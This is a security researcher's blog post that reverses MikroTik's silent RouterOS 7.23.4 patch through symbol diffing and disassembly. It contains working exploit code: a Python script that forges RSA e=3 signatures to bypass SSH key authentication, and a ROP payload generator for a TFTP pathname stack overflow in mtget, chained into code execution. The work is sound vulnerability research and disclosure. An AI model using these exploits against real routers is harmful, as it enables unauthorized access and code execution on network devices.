Nick Pratley

Reversing MikroTik’s Silent Patch: The RouterOS 7.23.4 Fix They Wouldn’t Explain

NickNick

On the 3rd of September 2026, MikroTik quietly pushed RouterOS 7.23.4 (long-term), 7.24.2 (stable) and 6.49.21 (v6) all on the same day. Every one of them carried the same banner:

This is an important security update. Most configurations are not at risk, but upgrading is highly recommended. To give time to update your systems, we are not currently publishing detailed information.

Translation: “we found something nasty, we patched it, and we are not going to tell you what it is until enough of you have updated.” Fair enough. Except there is a delicious irony baked into that sentence. If you ship the fixed binaries to the entire planet, then the diff between old and new is the disclosure. The embargo protects the unpatched fleet, not the patched binary sitting on your download mirror.

So let us do what any operator running a fleet of these should do: pull both versions, reverse the delta, and work out what changed. This post is the full walk from static diff to a reproduced chain. The result is a conditional but real unauthenticated-to-code-execution path: a low-exponent RSA signature forgery gets an SSH session without the private key, and a separately patched TFTP pathname overflow in mtget turns that low-privilege session into controlled code execution. The login validator is a third, independent hardening and is not the RCE link.

The one line they hoped you would skim past

Every RouterOS release dumps a wall of “improve stability” bullet points. The trick with a silent security release is to find the entry that appears in all maintained branches on the same day, because a coordinated cross-branch backport is the fingerprint of a single serious fix. Diffing the changelogs, exactly one line qualifies:

*) ssh - refactor SSH internal processes and improved system stability;

Present in 7.23.4, 7.24.2 and 6.49.21. Absent from 7.23.3. That is our thread to pull.

Getting the bits out of an NPK

RouterOS ships as NPK (“Nova Package”) files. I grabbed the x86 base package for the patched and the previous release, about 20MB each, no auth needed:

curl -O https://download.mikrotik.com/routeros/7.23.4/routeros-x86-7.23.4.npk
curl -O https://download.mikrotik.com/routeros/7.23.3/routeros-x86-7.23.3.npk

An NPK is a custom container: a 4-byte magic (1E F1 D0 BA), a run of TLV parts, a signature block, and the interesting bit, a squashfs payload. binwalk finds the filesystem for us:

$ binwalk routeros-x86-7.23.4.npk
DECIMAL   HEXADECIMAL   DESCRIPTION
4096      0x1000        SquashFS filesystem, little endian, version 4.0,
                        compression: xz, size: 16650908 bytes

Standard squashfs 4.0 with xz. Carve from offset 0x1000 and unsquash it. My host was missing unsquashfs, so a throwaway Alpine container did the honours:

dd if=routeros-x86-7.23.4.npk of=root.sqsh bs=4096 skip=1
docker run --rm -v "$PWD":/w -w /w alpine:3 sh -c 
  'apk add squashfs-tools >/dev/null; unsquashfs -d rootfs root.sqsh'

RouterOS is not one monolithic daemon. It is a swarm of small “nova” processes under /nova/bin/ talking over an internal message bus, brokered by a master loader process. The SSH server lives in a bundle, and interestingly the client and server are the same binary:

rootfs/bndl/security/nova/bin/sshd    <- SSH server (byte-identical to ssh)
rootfs/lib/libucrypto.so              <- crypto primitives
rootfs/lib/libumsg.so                 <- message bus + login handling

Diffing at the symbol level, not the byte level

A naive cmp of the two sshd binaries reports 170KB of differences, which is useless noise. Insert a few bytes near the top of .text and every address downstream shifts, so the whole file “changes”. The signal is not in the bytes, it is in the symbols. Stripped or not, the dynamic symbol table survives, and a diff of exported and imported symbols cuts straight to intent.

One trap worth mentioning: BusyBox sh in Alpine has no process substitution, so diff <(...) <(...) silently compares two empty streams and reports everything as identical. That will happily convince you nothing changed. Temp files and comm instead:

nm -D old/$bin | awk '{print $NF}' | sort -u > a
nm -D new/$bin | awk '{print $NF}' | sort -u > b
comm -13 a b   # added in the new build
comm -23 a b   # removed

Run that across every changed ELF and the story falls out. Two shared libraries changed, and the same handful of symbols move together across a whole cluster of binaries:

### lib/libumsg.so
  + _Z20validLoginParamInput11string_view

### lib/libucrypto.so
  + _ZN12RsaPublicKey23parseHashFromDerEncodedE6HashIDN4asn14blobE
  - _ZN12RsaPublicKey23parseHashFromDerEncodedEjN4asn14blobE

### referencing the changed RSA routine:
  sshd/ssh, ipsec, ipsec-worker, ssld, cloud

The SSH-focused symbol diff exposes two pieces: a new validLoginParamInput on the terminal-login paths and a changed parseHashFromDerEncoded in the RSA path. A wider sweep of every changed ELF exposes the third: nova/bin/mtget adds snprintf and the error Filename too long. That last change is the code-execution half of the chain.

Piece one: the login validator

The new function is 71 bytes, readable straight from the disassembly:

[0x0004503a]> pd @ 0x4503a
  mov  ecx, [ebp+0xc]          ; ecx = string_view.len
  mov  edx, [ebp+8]            ; edx = string_view.ptr
  test ecx, ecx
  je   reject                  ; empty -> reject
  mov  bl, [edx]               ; first byte
  cmp  bl, 0x2d                ; '-' ?
  sete al
  cmp  bl, 0x20                ; ' ' ?
  sete bl
  or   al, bl
  jne  reject                  ; leading '-' or space -> reject
  cmp  byte [edx+ecx-1], 0x20  ; trailing space ?
  je   reject
loop:
  mov  bl, [edx]
  inc  edx
  cmp  bl, 0x1f                ; control char ?
  jbe  reject
  cmp  bl, 0x7f                ; DEL ?
  je   reject
  ...over every byte...

A login parameter is accepted only if it is non-empty, does not start with -, does not start or end with a space, and contains no control characters (0x00 to 0x1f) or DEL. Rejecting a leading - is characteristic of option/argument-injection hardening. Rejecting control characters and DEL is characteristic of log forging, CRLF and ANSI terminal-escape injection, and NUL truncation. Notably it does not block / or ., so it is not a path-traversal guard.

It is called by exactly the terminal-login services, none of which imported it before the patch:

sshd / ssh   -> SSH        (tcp/22)
telnet       -> Telnet     (tcp/23)
mactel       -> MAC-Telnet (layer 2, udp/20561, no IP required, on by default)
mepty        -> the pty helper those spawn

Here is the honest part, and it is where I have to disagree with my own first instinct. In sshd, the validated username is the login string pulled from the session object, formatted into an ssh:<user>@<host> string, and packed into a bus message to the authentication backend, nova/bin/user. I traced it all the way there. That process imports no exec, system, popen or fork, and it was not modified in this release. There is no command-execution sink on this path. I looked.

So what is this validator actually protecting? On the evidence, it prevents malformed usernames from injecting into log lines and terminals, and from reaching the authenticator in a form it cannot cleanly handle. The leading-dash rule is consistent with protecting some argv-style consumer, but I did not find a bare-argv sink that turns it into code execution, so I am not going to claim one. If you take one thing from this section: characteristic-of is not proof-of, and I could not close that gap. This piece is pre-auth input hardening, full stop.

Piece two: the RSA signature verifier

This is the interesting one. parseHashFromDerEncoded changed in every consumer that verifies an RSA signature:

libucrypto.so          defines it
sshd / ssh             SSH public-key auth        (inbound: verifies the client's signature)
ipsec / ipsec-worker   IKEv2 IKE_AUTH             (inbound: verifies a peer's cert/signature)
ssld                   TLS handshake              (certificate verification; direction varies)
cloud                  ACME / back-to-home        (mostly outbound peer verification)

Finding one routine on the verification path of SSH, IKE and TLS is excellent attack-surface discovery. It is not, by itself, proof that any of them is bypassable. Establishing direction matters: for ipsec the surrounding strings are AUTHENTICATION_FAILED, peer does not conform to RFC 5996 and can't verify peer's certificate, so it is verifying a remote peer during IKE_AUTH, which is attacker-supplied and inbound. For ssld it is certificate verification inside the TLS handshake, whose exploitability depends entirely on which direction and which config. For cloud it is mostly outbound verification of MikroTik’s own services. So the honest scope is: the same verifier sits under SSH, IPsec and TLS. Whether each is bypassable is a separate question per protocol.

Now the routine itself. It extracts the hash digest out of the DER DigestInfo inside a PKCS#1 v1.5 signature. It enters by checking the tag is 0x30 (SEQUENCE), which tells us the PKCS#1 padding has already been stripped upstream. So the full picture is two layers: the caller strips 00 01 FF..FF 00, then this routine parses what is left.

The caller: the padding check, corrected

libucrypto exposes no one-shot RSA verify here. The SSH binary performs signature^e mod n, serialises the result to the modulus width, strips the PKCS#1 v1.5 envelope, and passes the remaining DigestInfo to parseHashFromDerEncoded. The actual 7.23.3 check is:

EM = i2osp(signature^e mod n, modulus_bytes)
if next(EM) != 0x00: fail
if next(EM) != 0x01: fail
while peek(EM) == 0xFF: next(EM)
if next(EM) != 0x00: fail
digest = parseHashFromDerEncoded(expected_hash, remaining_EM)
return digest == calculated_digest

My previous revision said the loop required at least eight FF bytes. It does not. I re-read the instructions around 0x805cb95..0x805cbd9 and then tested the result: zero FF bytes are accepted. The shortest accepted prefix is therefore 00 01 00. That is materially weaker than standard EMSA-PKCS1-v1_5 and gives a low-exponent forgery much more room.

What 7.23.4 actually added

The old DER routine checks the outer SEQUENCE, the hash OID and the digest OCTET STRING, then returns the digest span. It never asks whether anything remains after that object. The SSH caller does compare the returned span byte-for-byte with the calculated digest, so the old missing digest-length check is redundant in this particular caller. The ignored tail is not redundant.

; 7.23.4, after extracting the digest
cmp  dword [ebp-0x28], 0x100   ; DER reader's clean-EOF sentinel
jne  reject_trailing_bytes

; expected digest sizes: 16,20,28,32,48,64
movzx expected_len, byte [hash_length_table + hash_id]
cmp   actual_digest_len, expected_len
jne   reject_bad_digest_length

The 0x100 value is a parser sentinel, not a 256-byte RSA modulus check. The corresponding parser writes 0x100 at clean EOF and 0x101 on truncation. In plain English, 7.23.4 says: the expected digest must be exactly the expected length, and it must be the final thing in the encoded message.

Lab proof one: SSH authentication without the private key

I stopped here in the earlier revision because static analysis had reached its honest limit. The experiment is now done. I ran 7.23.3 and 7.23.4 CHR side by side in local Docker/QEMU, created the same low-privilege user on both, and imported the same 2048-bit RSA public key with exponent e=3. The client retained only the public key for signing purposes.

The forgery builds the prefix below, pads the low end of the 2048-bit integer with zeroes, and takes the integer cube root rounded up:

00 01 00 || DER(SHA-256 DigestInfo) || SHA256(SSH session blob) || garbage

Because e=3, verification cubes the forged signature. The high-order checked prefix survives the rounding; the error lands in the low-order garbage which 7.23.3 ignores. No private-key operation occurs.

#!/usr/bin/env python3
# forge_e3_ssh.py -- lab PoC, deliberately restricted to loopback
import argparse, base64, hashlib, ipaddress, socket
from pathlib import Path
import paramiko
from paramiko.message import Message

DI_SHA256 = bytes.fromhex("3031300d060960864801650304020105000420")

def cbrt_floor(n):
    lo, hi = 0, 1 << ((n.bit_length() + 2) // 3 + 1)
    while lo + 1 < hi:
        mid = (lo + hi) // 2
        if mid ** 3 <= n: lo = mid
        else: hi = mid
    return lo

def forge(data, modulus_bytes):
    digest = hashlib.sha256(data).digest()
    prefix = b"x00x01x00" + DI_SHA256 + digest
    target = int.from_bytes(prefix + b"x00" * (modulus_bytes-len(prefix)), "big")
    s = cbrt_floor(target) + 1
    recovered = (s ** 3).to_bytes(modulus_bytes, "big")
    assert recovered.startswith(prefix)
    return s.to_bytes(modulus_bytes, "big")

class ForgedRSAKey(paramiko.RSAKey):
    def sign_ssh_data(self, data, algorithm=None):
        assert algorithm == "rsa-sha2-256"
        m = Message()
        m.add_string(algorithm)
        m.add_string(forge(bytes(data), self.get_bits() // 8))
        return m

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--port", type=int, required=True)
    ap.add_argument("--public-key", type=Path, required=True)
    ap.add_argument("--user", default="forge")
    ap.add_argument("--command-file", type=Path)
    args = ap.parse_args()
    assert ipaddress.ip_address("127.0.0.1").is_loopback

    fields = args.public_key.read_text().split()
    key = ForgedRSAKey(data=base64.b64decode(fields[1]))
    assert key.key.public_numbers().e == 3
    command = (args.command_file.read_text().strip() if args.command_file
               else ":put [/system resource get version]")

    sock = socket.create_connection(("127.0.0.1", args.port), timeout=10)
    t = paramiko.Transport(sock, disabled_algorithms={"pubkeys": ["rsa-sha2-512"]})
    t.start_client(timeout=10)
    try:
        t.auth_publickey(args.user, key)
    except paramiko.AuthenticationException:
        print("authentication rejected")
        return 1
    ch = t.open_session(timeout=10)
    ch.settimeout(15)
    ch.exec_command(command)
    try:
        print(ch.makefile("rb").read().decode(), end="")
    except socket.timeout:
        print("authenticated; command channel died with the target service")
    finally:
        t.close()

if __name__ == "__main__": raise SystemExit(main())

With paramiko==5.0.0, the results were unambiguous:

$ python3 forge_e3_ssh.py --port 3223 --public-key e3.pub
7.23.3 (stable)

$ python3 forge_e3_ssh.py --port 2224 --public-key e3.pub
authentication rejected

That is an end-to-end SSH authentication bypass for the stated precondition: a known RSA e=3 public key is already authorized for the target account. It is not “bring any e=3 key and become admin”, and it is not a general e=65537 break. Public keys are not secrets, but an attacker still needs the specific authorized key.

Piece three: the mtget TFTP pathname overflow

The wider ELF sweep found the piece I had initially waved away as a one-line sprintf hardening. In nova/bin/mtget, the vulnerable TFTP request builder is much worse: 7.23.3 copies the caller-controlled remote pathname into a fixed stack packet with an unbounded rep movsb, then appends mode and option strings after it.

; 7.23.3 mtget, simplified
lea  dst, [ebp-0x21a]       ; fixed stack TFTP request buffer + opcode
mov  ecx, remote_path.len
mov  esi, remote_path.ptr
rep  movsb                  ; no comparison with buffer capacity
mov  byte [dst+len], 0
...append "octet", "blksize", "4096"...

7.23.4 replaces this with a remaining-capacity cursor, checked appends, snprintf, and a new user-visible error: Filename too long.

The pathname comes from an authenticated RouterOS command, not from the TFTP server:

/tool fetch url="tftp://10.0.2.2/<attacker path>" keep-result=no

That makes this a post-auth bug on its own, but it is reachable with the test policy. RouterOS’s built-in read group includes ssh,read,test and excludes write,policy. A supposedly read-only operator can reach the vulnerable process.

From crash to controlled EIP

The same 700-byte pathname was sent to both builds. 7.23.4 returned failure: Filename too long. On 7.23.3, the command channel hung, RouterOS generated autosupout.rif for a service malfunction, and the router itself stayed alive. Decoding the support file locally produced:

/nova/bin/mtget
--- signal=11 ---
eip=0x41414141 eflags=0x00010202
edi=0x41414141 esi=0x41414141 ebp=0x41414141 esp=0xffffd820

A patterned run with 542 As followed by BBBB produced eip=0x42424241 and a stack beginning 42 43 43 43.... Saved EIP starts at remote-path offset 541. The binary is NX, but it has no stack canary, is non-PIE at 0x08048000, and uses partial RELRO. The post-return stack is controlled and stable in this x86 CHR process. That is a straightforward ROP primitive.

A deliberately harmless ROP PoC

I did not pop a shell. The proof creates a disposable file named rop-sentinel through the normal CLI, then returns into mtget‘s fixed unlink@plt and deletes only that file. The next return address is deliberately invalid 0x42424242, making the completed call visible in the crash record.

#!/usr/bin/env python3
# mtget_rop_poc.py -- RouterOS 7.23.3 x86 CHR only
import struct

EIP_OFFSET     = 541
UNLINK_PLT     = 0x0804C250
RETURN_CRASH   = 0x42424242
STACK_AFTER_RET = 0xFFFFD820
MARKER         = b"/rw/disk/rop-sentinel"

def p32(x): return struct.pack("<I", x)

marker_offset = EIP_OFFSET + 12
marker_address = STACK_AFTER_RET + (marker_offset - (EIP_OFFSET + 4))
payload  = b"A" * EIP_OFFSET
payload += p32(UNLINK_PLT)
payload += p32(RETURN_CRASH)
payload += p32(marker_address)
payload += MARKER

safe = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._/"
escaped = "".join(chr(b) if b in safe else f"\{b:02X}" for b in payload)
print('/tool fetch url=("tftp://10.0.2.2/" . "' + escaped + '") keep-result=no')

The post-crash snapshot shows that the function call really executed:

eip=0x42424242             ; deliberate return after unlink
esp=0xffffd824             ; advanced through the call
eax=0x00000000             ; unlink() returned success
edx=0xffffd828
stack: 00 00 00 00 2f 72 77 2f 64 69 73 6b 2f 72 6f 70 ...

RouterOS’s file count for rop-sentinel changed from 1 to 0. This is confirmed controlled code execution in mtget, not just a crash or a claimed “probably exploitable” overwrite.

The complete chain, reproduced

unauthenticated SSH client
    |
    | forge rsa-sha2-256 signature for a known, authorized RSA e=3 key
    v
RouterOS 7.23.3 authenticates the read-group user (no private key)
    |
    | /tool fetch with crafted TFTP remote pathname
    v
mtget saved-EIP overwrite at pathname offset 541
    |
    | fixed-address ROP call
    v
disposable sentinel deleted

For the final run I recreated the sentinel, authenticated as the low-privilege forge user with the public-key-only signature forgery, and supplied the generated RouterOS command as that forged session’s command. The SSH channel timed out when mtget died; an admin session then showed the sentinel count was zero. That closes both links end to end.

Scope: serious, conditional, and not magic

The username validator is still not the RCE link. Its pre-auth log/control-character and NUL/framing hardening is real, but mepty constructs explicit argv[] arrays and the outbound SSH username is the value after -l; no shell is involved. The code-execution link is the independently patched mtget stack overflow.

Other fixes hiding in the same diff

What to actually do

The lesson, as always, is that silence is not secrecy. If you patch in public, you disclose in public, whether you write the advisory or not. Somebody is going to read the diff. Better it is you, on your own gear, before someone else does it on yours.

Stay patched, and go check your edge boxes. 🐟

Nick
Author

Comments 0
There are currently no comments.

Share This